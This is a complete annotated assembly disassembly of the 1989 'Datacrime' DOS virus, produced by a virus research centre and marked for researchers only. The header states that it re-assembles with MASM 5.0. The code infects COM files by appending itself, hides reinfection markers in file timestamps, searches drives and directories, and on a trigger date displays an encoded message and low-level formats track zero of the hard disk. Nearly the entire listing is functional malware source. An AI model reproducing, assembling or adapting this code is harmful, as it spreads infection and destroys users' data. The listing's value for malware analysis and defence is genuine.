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Assembly Source File | 1998-01-14 | 26.5 KB | 538 lines

; ; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM; ; : British Computer Virus Research Centre : ; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England : ; : Telephone: Domestic 0273-26105, International +44-273-26105 : ; : : ; : The 'Datacrime' Virus : ; : Disassembled by Joe Hirst, May 1989 : ; : : ; : Copyright (c) Joe Hirst 1989. : ; : : ; : This listing is only to be made available to virus researchers : ; : or software writers on a need-to-know basis. : ; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM< ; The virus occurs attached to the end of a COM file. The first ; three bytes of the program are stored in the virus, and replaced ; by a branch to the beginning of the virus. ; The disassembly has been tested by re-assembly using MASM 5.0. ; Addressability is maintained by taking the offset from the ; initial jump to the virus. This is the length of the host minus ; three (length of the jump instruction). Three is subtracted ; from this figure (presumably the length of the original "host" ; program when the virus was released). The result is kept in ; register SI. Data addresses add SI+106H (COM origin of 100H ; + length of jump + length of initial host) to the offset of the ; data item within the virus. ; Note that if it does nothing else this virus will almost certainly ; screw up the critical error handler because: ; 1. There is a missing segment override on the restore of the ; original segment (presumably the result of inserting such ; overrides manually), and ; 2. If the virus looks at more than one disk it will reinstall ; the routine, overwriting the original saved vector with that ; of its own routine. CODE SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CODE,DS:CODE ORG 09AH DW009A DW ? ORG 101H DW0101 DW ? ; Start of virus - Set up relocation factor ORG 0 START: MOV SI,CS:DW0101 ; Address initial jump to virus SUB SI,3 ; Length of original host (?) MOV AX,SI ; Copy relocation factor CMP AX,0 ; Is it zero (initial release)? JNE BP0012 ; Branch if not JMP BP0110 ; Infection routine ; Restore host and test initial start month BP0012: LEA DI,DB03D5[SI+106H] ; Address stored start of host MOV BX,0100H ; Address beginning of host program MOV CX,5 ; Word count BP001C: MOV AX,[DI] ; Get next word MOV [BX],AX ; Replace next word ADD BX,2 ; Address next target word ADD DI,2 ; Address next stored word DEC CX ; Reduce count JNZ BP001C ; Repeat for each word MOV AH,2AH ; Get date function INT 21H ; DOS service MOV AL,CS:DB03EA[SI+106H] ; Get start month CMP AL,DH ; Is it start month yet? JG BP0040 ; Branch if not MOV CS:DB03EA[SI+106H],0 ; Don't do test any more JMP BP0045 ; Pass control to host program BP0040: MOV BX,0100H ; Address beginning of host program JMP BX ; Branch to host program ; Are we in target part of year? BP0045: MOV AX,CS:DW03E8[SI+106H] ; Get start month and day CMP AX,DX ; Compare to actual JL BP0051 ; Branch if after start date JMP BP0110 ; Infection routine ; Is there a hard disk? BP0051: MOV AX,0 ; Clear register PUSH DS MOV DS,AX ; Address segment zero MOV BX,0106H ; Address Int 41H segment MOV AX,[BX] ; Get Int 41H segment POP DS CMP AX,0 ; Is it zero (no hard disk)? JNE BP0067 ; Branch if not MOV BX,0100H ; Address beginning of host program JMP BX ; Branch to host program ; Display message and format track zero, heads 0 - 8 BP0067: LEA BX,DB00E7[SI+106H] ; Address encrypted string MOV CL,29H ; Load length of string BP006D: MOV DL,CS:[BX] ; Get a character XOR DL,55H ; Decrypt character MOV AH,2 ; Display character function INT 21H ; DOS service INC BX ; Address next character DEC CL ; Reduce count JNZ BP006D ; Repeat for each character MOV BX,OFFSET DW00A7+106H ; Address format buffer (no SI?) MOV CH,0 ; Track zero MOV DX,0080H ; Head zero, first hard disk BP0084: MOV CH,0 ; Track zero MOV AL,0 ; Load zero MOV CL,6 ; \ Multiply zero by 64 SHL AL,CL ; / MOV CL,AL ; Move result (zero) OR CL,1 ; Now its one (and next line zero) MOV AX,0500H ; Format track, interleave zero INT 13H ; Disk I/O JB BP009F ; Branch if error INC DH ; Next head CMP DH,9 ; Is it head nine? JNE BP0084 ; Format if not BP009F: MOV AH,2 ; Display character function MOV DL,7 ; Beep INT 21H ; DOS service JMP BP009F ; Loop on beep ; Format table (required for ATs and PS/2s) ; Program does not in fact point to this because the reference ; to register SI is missing DW00A7 DB 0, 01H, 0, 02H, 0, 03H, 0, 04H, 0, 05H, 0, 06H, 0, 07H, 0, 08H DB 0, 09H, 0, 0AH, 0, 0BH, 0, 0CH, 0, 0DH, 0, 0EH, 0, 0FH, 0, 10H DB 0, 11H, 0, 12H, 0, 13H, 0, 14H, 0, 15H, 0, 16H, 0, 17H, 0, 18H DB 0, 19H, 0, 1AH, 0, 1BH, 0, 1CH, 0, 1DH, 0, 1EH, 0, 1FH, 0, 20H ; The next field decodes to: ; DB 'DATACRIME VIRUS', 0AH, 0DH ; DB 'RELEASED: 1 MARCH 1989', 0AH, 0DH DB00E7 DB 11H, 14H, 01H, 14H, 16H, 07H, 1CH, 18H, 10H DB 75H, 03H, 1CH, 07H, 00H, 06H, 5FH, 58H DB 07H, 10H, 19H, 10H, 14H, 06H, 10H, 11H DB 6FH, 75H, 64H, 75H, 18H, 14H, 07H, 16H DB 1DH, 75H, 64H, 6CH, 6DH, 6CH, 5FH, 58H ; Start of infection routine BP0110: MOV AH,19H ; Get current disk function INT 21H ; DOS service MOV CS:DB03F5[SI+106H],AL ; Save current disk MOV AH,47H ; Get current directory function MOV DX,0 ; Default disk PUSH SI LEA SI,DB03F6+1[SI+106H] ; Original directory store INT 21H ; DOS service POP SI MOV CS:DB03EC[SI+106H],0 ; Set disk drive pointer to start JMP BP0130 ; Select disk drive ; Select disk drive from table BP0130: CALL BP0172 ; Install Int 24H routine LEA BX,DB03E3[SI+106H] ; Address disk drive table MOV AL,CS:DB03EC[SI+106H] ; Get disk drive pointer INC CS:DB03EC[SI+106H] ; Update disk drive pointer MOV AH,0 ; Clear top of register ADD BX,AX ; Add disk drive pointer MOV AL,CS:[BX] ; Get next disk drive MOV DL,AL ; Move device for select CMP AL,0FFH ; End of table? JNE BP0151 ; Branch if not JMP BP023C ; Tidy up and terminate BP0151: MOV AH,0EH ; Select disk function INT 21H ; DOS service MOV AH,47H ; Get current directory function MOV DL,0 ; Default drive PUSH SI LEA SI,DB0417+1[SI+106H] ; Current directory path name INT 21H ; DOS service POP SI MOV BX,4 ; Address critical error MOV AL,CS:[BX] ; Get critical error code CMP AL,3 ; Was it three? JNE BP01B7 ; Branch if not MOV AL,0 ; \ Set it back to zero MOV CS:[BX],AL ; / JMP BP0130 ; Select next disk drive ; Install interrupt 24H routine BP0172: XOR AX,AX ; Clear register PUSH DS MOV DS,AX ; Address segment zero MOV BX,0090H ; Address Int 24H vector MOV AX,[BX+2] ; Get Int 24H segment MOV CS:DW03CF[SI+106H],AX ; Save Int 24H segment MOV AX,[BX] ; Get Int 24H offset MOV CS:DW03D1[SI+106H],AX ; Save Int 24H offset MOV AX,CS ; Get current segment MOV [BX+2],AX ; Set new Int 24H segment LEA AX,BP01AE[SI+106H] ; Int 24H routine MOV [BX],AX ; Set new Int 24H offset POP DS RET ; Restore original interrupt 24H BP0196: XOR AX,AX ; Clear register PUSH DS MOV DS,AX ; Address segment zero MOV BX,0090H ; Address Int 24H vector MOV AX,CS:DW03CF[SI+106H] ; Get Int 24H segment MOV [BX+2],AX ; Restore Int 24H segment MOV AX,DW03D1[SI+106H] ; Get Int 24H offset (missing CS:) MOV [BX],AX ; Restore Int 24H offset POP DS RET ; Interrupt 24H routine BP01AE: MOV AL,3 ; Fail the system call MOV BX,4 ; Address critical error byte MOV CS:[BX],AL ; Save code IRET BP01B7: CALL BP02DA ; Find and infect a file MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch CMP AL,1 ; Is it on? JNE BP01C6 ; Branch if not JMP BP023C ; Tidy up and terminate BP01C6: CALL BP0260 ; Get next directory JNB BP01CE ; Branch if found JMP BP0130 ; Select next disk drive BP01CE: MOV CX,0040H ; Maximum characters to copy PUSH SI DEC DI ; \ DEC DI ; ) Address back to '*.*' DEC DI ; / MOV WORD PTR [DI],'\ ' ; Word reversed, but overwritten soon MOV SI,BX ; Address file name CLD BP01DC: LODSB ; \ Copy a character STOSB ; / DEC CX ; Decrement count CMP AL,0 ; Was last character zero? JNE BP01DC ; Next character if not POP SI MOV AH,3BH ; Change current directory function LEA DX,DB0438[SI+106H] ; Directory pathname INT 21H ; DOS service CALL BP02DA ; Find and infect a file MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch CMP AL,1 ; Is it on? JE BP023C ; Tidy up and terminate if yes CALL BP0260 ; Get next directory JNB BP01CE ; Branch if found MOV AH,3BH ; Change current directory function LEA DX,DB0417[SI+106H] ; Current directory path name INT 21H ; DOS service INC CS:DB03E2[SI+106H] ; Increment directory count CALL BP0260 ; Get next directory JB BP023C ; Branch if not found MOV AL,CS:DB03E2[SI+106H] ; Get directory count BP0214: CMP AL,0 ; Is directory count zero yet? JNE BP021D ; Branch if not ADD BX,9 ; ??? JMP BP01CE ; ??? Add directory name to path BP021D: MOV AH,4FH ; Find next file function PUSH AX INT 21H ; DOS service POP AX JNB BP0228 ; Branch if no error JMP BP0130 ; Select next disk drive BP0228: PUSH AX MOV AH,2FH ; Get DTA function INT 21H ; DOS service ADD BX,15H ; Address attributes byte MOV AL,10H ; Directory attribute CMP CS:[BX],AL ; Is it a directory? POP AX JNE BP021D ; Branch if not DEC AL ; Decrement directory count JMP BP0214 ; Reset disk and directory, and pass control to host BP023C: MOV AH,0EH ; Select disk function MOV DL,CS:DB03F5[SI+106H] ; Get original current disk INT 21H ; DOS service MOV AH,3BH ; Change current directory function LEA DX,DB03F6[SI+106H] ; Original directory INT 21H ; DOS service CALL BP0196 ; Restore Int 24H MOV AX,SI ; Copy relocation factor CMP AX,0 ; Is it zero (initial release)? JE BP025C ; Terminate 8f not MOV BX,0100H ; Address beginning of host program JMP BX ; Branch to host program ; Terminate BP025C: MOV AH,4CH ; End process function INT 21H ; DOS service ; Get next directory BP0260: LEA DI,DB0438+1[SI+106H] ; Directory pathname MOV CX,003AH ; Length to clear MOV AL,0 ; Set to zero CLD REPZ STOSB ; Clear pathname area MOV AH,47H ; Get current directory function PUSH SI MOV DX,0 ; Current drive LEA SI,DB0438+1[SI+106H] ; Directory pathname INT 21H ; DOS service POP SI CLD LEA DI,DB0438+1[SI+106H] ; Directory pathname MOV CX,0040H ; Length to search MOV AL,0 ; Search for zero REPNZ SCASB ; Search for end of pathname JZ BP0289 ; Branch if found STC RET ; Set file name wildcard on path BP0289: DEC DI ; \ Back two positions DEC DI ; / MOV AL,[DI] ; Get character CMP AL,'\' ; Does path end in dir delim? JE BP0294 ; Branch if yes INC DI ; Next position MOV AL,'\' ; Make next character a dir delim BP0294: MOV [DI],AL ; Store character INC DI ; Next position MOV AL,'*' ; All files MOV [DI],AL ; Store character INC DI ; Next position MOV AL,'.' ; Extension MOV [DI],AL ; Store character INC DI ; Next position MOV AL,'*' ; all extensions MOV [DI],AL ; Store character INC DI ; Next position LEA DX,DB0438[SI+106H] ; Address directory pathname MOV AH,4EH ; Find first file function MOV CX,0010H ; Find directories INT 21H ; DOS service JNB BP02B4 ; Branch if no error RET ; Valid directories only BP02B4: MOV AH,2FH ; Get DTA function INT 21H ; DOS service ADD BX,15H ; Address attribute byte MOV AL,10H ; Directory attribute CMP CS:[BX],AL ; Is it a directory? JNE BP02D2 ; Branch if not CLC MOV AH,2FH ; Get DTA function INT 21H ; DOS service ADD BX,1EH ; Address directory name MOV AL,'.' ; Prepare to test first byte CMP CS:[BX],AL ; Is it a pointer to another dir? JE BP02D2 ; Branch if yes RET BP02D2: MOV AH,4FH ; Find next file function INT 21H ; DOS service JNB BP02B4 ; Branch if no error STC RET ; Find and infect a file BP02DA: MOV CS:DB03EB[SI+106H],0 ; Set infection completed switch off MOV AH,4EH ; Find first file function MOV CX,7 ; All files LEA DX,DB03ED[SI+106H] ; Address '*.COM' INT 21H ; DOS service JNB BP02F6 ; Branch if no error RET BP02EF: MOV AH,4FH ; Find next file function INT 21H ; DOS service JNB BP02F6 ; Branch if no error RET ; Exclude COMMAND.COM BP02F6: MOV BX,00A4H ; Address seventh letter of name MOV AL,[BX] ; Get character CMP AL,'D' ; Is it a 'D' (as in COMMAND.COM)? JNE BP0301 ; Branch if not JMP BP02EF ; Next file ; Is it already infected? BP0301: MOV BX,0096H ; Address time of file MOV CX,[BX] ; Get time of file ADD BX,2 ; Address date of file MOV DX,[BX] ; Get date of file MOV AL,CL ; Copy low byte of time AND AL,0E0H ; Isolate low part of minutes MOV AH,AL ; Copy low part of minutes SHR AL,1 ; \ SHR AL,1 ; \ SHR AL,1 ; ) Move mins to secs position SHR AL,1 ; / SHR AL,1 ; / OR AL,AH ; Combine with minutes CMP AL,CL ; Compare to actual time JNE BP0323 ; Branch if different JMP BP02EF ; Find next file ; Uninfected COM file found BP0323: PUSH CX PUSH DX MOV AX,CS:DW009A ; Get low-order length MOV CS:DW03D3[SI+106H],AX ; Save low-order length CALL BP03AA ; Remove read-only attribute MOV AX,3D02H ; Open handle (R/W) function MOV DX,009EH ; File name INT 21H ; DOS service MOV BX,AX ; Move handle MOV AH,3FH ; Read handle function LEA DX,DB03D5[SI+106H] ; Store area for start of host MOV CX,000AH ; Read first ten bytes INT 21H ; DOS service MOV AX,4202H ; Move file pointer (EOF) function XOR CX,CX ; \ No displacement XOR DX,DX ; / INT 21H ; DOS service MOV CX,OFFSET ENDADR ; Length of virus NOP LEA DX,[SI+106H] ; Address start of virus MOV AH,40H ; Write handle function INT 21H ; DOS service MOV AX,4200H ; Move file pointer (start) function XOR CX,CX ; \ No displacement XOR DX,DX ; / INT 21H ; DOS service MOV AX,CS:DW009A ; Get low-order length SUB AX,3 ; Subtract length of jump MOV CS:DW03E0[SI+106H],AX ; Store displacement in jump MOV AH,40H ; Write handle function MOV CX,3 ; Length of jump LEA DX,DB03DF[SI+106H] ; Address jump instruction INT 21H ; DOS service POP DX POP CX AND CL,0E0H ; Isolate low part of minutes MOV AL,CL ; Copy low part of minutes SHR CL,1 ; \ SHR CL,1 ; \ SHR CL,1 ; ) Move mins to secs position SHR CL,1 ; / SHR CL,1 ; / OR CL,AL ; Combine with minutes MOV AX,5701H ; Set file date & time function INT 21H ; DOS service MOV AH,3EH ; Close handle function INT 21H ; DOS service CALL BP03C1 ; Replace attributes MOV CS:DB03EB[SI+106H],1 ; Set infection completed switch on MOV AH,3BH ; Change current directory function LEA DX,DB0417[SI+106H] ; Current directory path name INT 21H ; DOS service RET ; Remove read-only attribute BP03AA: MOV DX,009EH ; Address file name MOV AX,4300H ; Get file attributes function INT 21H ; DOS service MOV CS:DW03F3[SI+106H],CX ; Save attributes AND CX,00FEH ; Set off read-only MOV AX,4301H ; Set file attributes function INT 21H ; DOS service RET ; Replace attributes BP03C1: MOV CX,CS:DW03F3[SI+106H] ; Get attributes MOV DX,009EH ; Address file name MOV AX,4301H ; Set file attributes function INT 21H ; DOS service RET DW03CF DW 1142H ; Original Int 24H segment DW03D1 DW 175DH ; Original Int 24H offset DW03D3 DW 0039H ; Low-order length of host DB03D5 DB 0EBH, 02EH, 090H, 'Hello -' ; Store area for start of host DB03DF DB 0E9H ; \ Jump for host program DW03E0 DW 0 ; / DB03E2 DB 0BH DB03E3 DB 2, 3, 0, 1, 0FFH ; Disk drive table (C, D, A, B) DW03E8 DW 0A0CH ; Start month and day DB03EA DB 0 ; Start month DB03EB DB 0 ; Infection completed switch DB03EC DB 3 ; Disk drive pointer DB03ED DB '*.COM', 0 DW03F3 DW 20H ; File attributes DB03F5 DB 0 ; Original current disk DB03F6 DB '\', 0, 'ENTURA', 19H DUP (0) ; Original directory DB0417 DB '\', 0, 'NPAK', 1BH DUP (0) ; Current directory DB0438 DB '\*.*', 3CH DUP (0) ; Directory pathname DB 000H, 02BH, 0C3H, 074H, 005H, 078H, 002H, 041H DB 0C3H, 049H, 0C3H, 051H, 052H, 0A1H, 014H, 000H DB 08BH, 00EH, 01AH, 000H, 08BH, 016H, 01CH, 000H ENDADR EQU $ CODE ENDS END START